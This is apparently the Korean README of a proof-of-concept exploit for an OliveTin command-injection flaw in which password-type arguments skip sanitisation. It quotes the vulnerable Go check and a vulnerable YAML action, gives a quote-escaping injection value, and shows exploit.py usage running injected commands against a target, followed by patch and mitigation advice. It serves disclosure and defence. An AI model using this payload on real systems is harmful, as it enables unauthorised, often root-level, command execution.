
OliveTin은 관리자가 "actions"(사용자가 웹 UI 또는 API에서 트리거할 수 있는, 매개변수화된 인자를 가진 셸 명령)을 정의할 수 있게 해줍니다. OliveTin은 사용자가 제공한 값을 셸 명령에 템플릿화하기 전에 checkShellArgumentSafety()를 통해 검사해야 합니다. 이 함수는 string, int, bool, choice의 네 가지 인자 유형을 검사합니다. password는 완전히 건너뛰고 값은 전혀 보지 않은 채 "안전함"을 의미하는 true를 반환합니다.
따라서 action에 password 유형의 인자가 있고 그 인자가 셸 명령 문자열에 치환된다면, 그 안에 무엇이든 넣을 수 있습니다. 세미콜론, 백틱, $() 등 무엇이든 가능합니다. 인자가 기본 명령에서 따옴표로 감싸져 있다면(데이터베이스 비밀번호 같은 것에서 흔한 패턴), 따옴표를 빠져나가기만 하면 됩니다.
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
3000.10.0까지의 OliveTin에 영향을 줍니다. 검사 대상 유형에 password를 추가한 3000.11.1 라인(커밋 0.0.0-20260222101908-4bbd2eab1532)에서 수정되었습니다. 권고: GHSA-49gm-hh7w-wfvf. CVSS 9.9.
비밀번호 유형 인자가 셸 문자열 안에 들어가는 모든 경우, 보통 따옴표로 감싸진 형태입니다:
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass는 아무런 검사 없이 작은따옴표 안에 있습니다. 값으로 '; id ;'를 보내면 OliveTin은 잘못된 mysqldump 호출이 실패하기 전에 id를 실행합니다. 실패는 중요하지 않습니다. 주입된 명령은 이미 OliveTin이 실행되는 사용자 권한으로 실행되었기 때문입니다. 많은 설정에서 그 사용자는 root입니다. 사람들이 User= 줄 없이 systemd로 실행하고 다시는 생각하지 않기 때문입니다.
인스턴스에 authRequireGuestsToLogin: false가 설정되어 있다면(소규모나 취미용 배포에서 흔한 설정), 이러한 공격에 자격 증명이 필요하지 않습니다.
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
주입한 명령이 실행되기 전에 action이 오류 없이 실행되기 위해 다른 인자가 필요하다면 --extra-arg로 전달하세요:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
이 스크립트는 StartAction에 POST한 뒤 2초를 기다렸다가 ExecutionStatus를 폴링하고 돌아온 결과를 출력합니다. 보통 주입한 명령의 출력 위에, 그 후 실행되어 실패한 정상 명령의 오류가 표시되는 것을 보게 됩니다. 이는 정상입니다. 오류는 표면적인 것일 뿐이며, 여러분의 명령은 이미 실행되었습니다.
OliveTin을 3000.10.0 이후 버전으로 업데이트하세요. 아직 업데이트할 수 없다면: 신뢰할 수 없는 사용자가 접근할 수 있는 action에서 password 유형 인자를 모두 제거하고, 게스트 실행을 끄고, 가능하다면 인자 값이 셸 문자열로 보간되는 것을 완전히 중단하세요. 대신 비밀을 환경 변수나 OliveTin이 고정 경로에서 읽는 파일로 전달하세요. 그리고 서비스를 root로 실행하지 마세요. 작업 실행기가 root 권한을 가질 이유는 없습니다.
exploit.py: PoC 스크립트README.md: 이 파일이 자료는 자신의 OliveTin 인스턴스에 패치를 적용하는 사람, 탐지 규칙을 작성하는 사람, 또는 테스트 권한이 있는 시스템을 테스트하는 사람을 위한 것입니다. 소유하지 않았거나 접근 권한이 없는 대상을 겨냥하지 마세요. 그에 대한 책임은 여러분에게 있으며, 이 글을 작성한 사람에게 있지 않습니다.
| flag | 용도 | 기본값 |
|---|
-u, --url | 대상 호스트 또는 IP | 필수 |
-p, --port | OliveTin의 포트 | 1337 |
--action | 취약한 action의 bindingId | 필수 |
--arg | password 유형 인자의 이름 | 필수 |
-x, --cmd | 주입할 명령 | id |
--extra-arg | action이 필요로 하는 기타 인자, name=value, 반복 가능 | 없음 |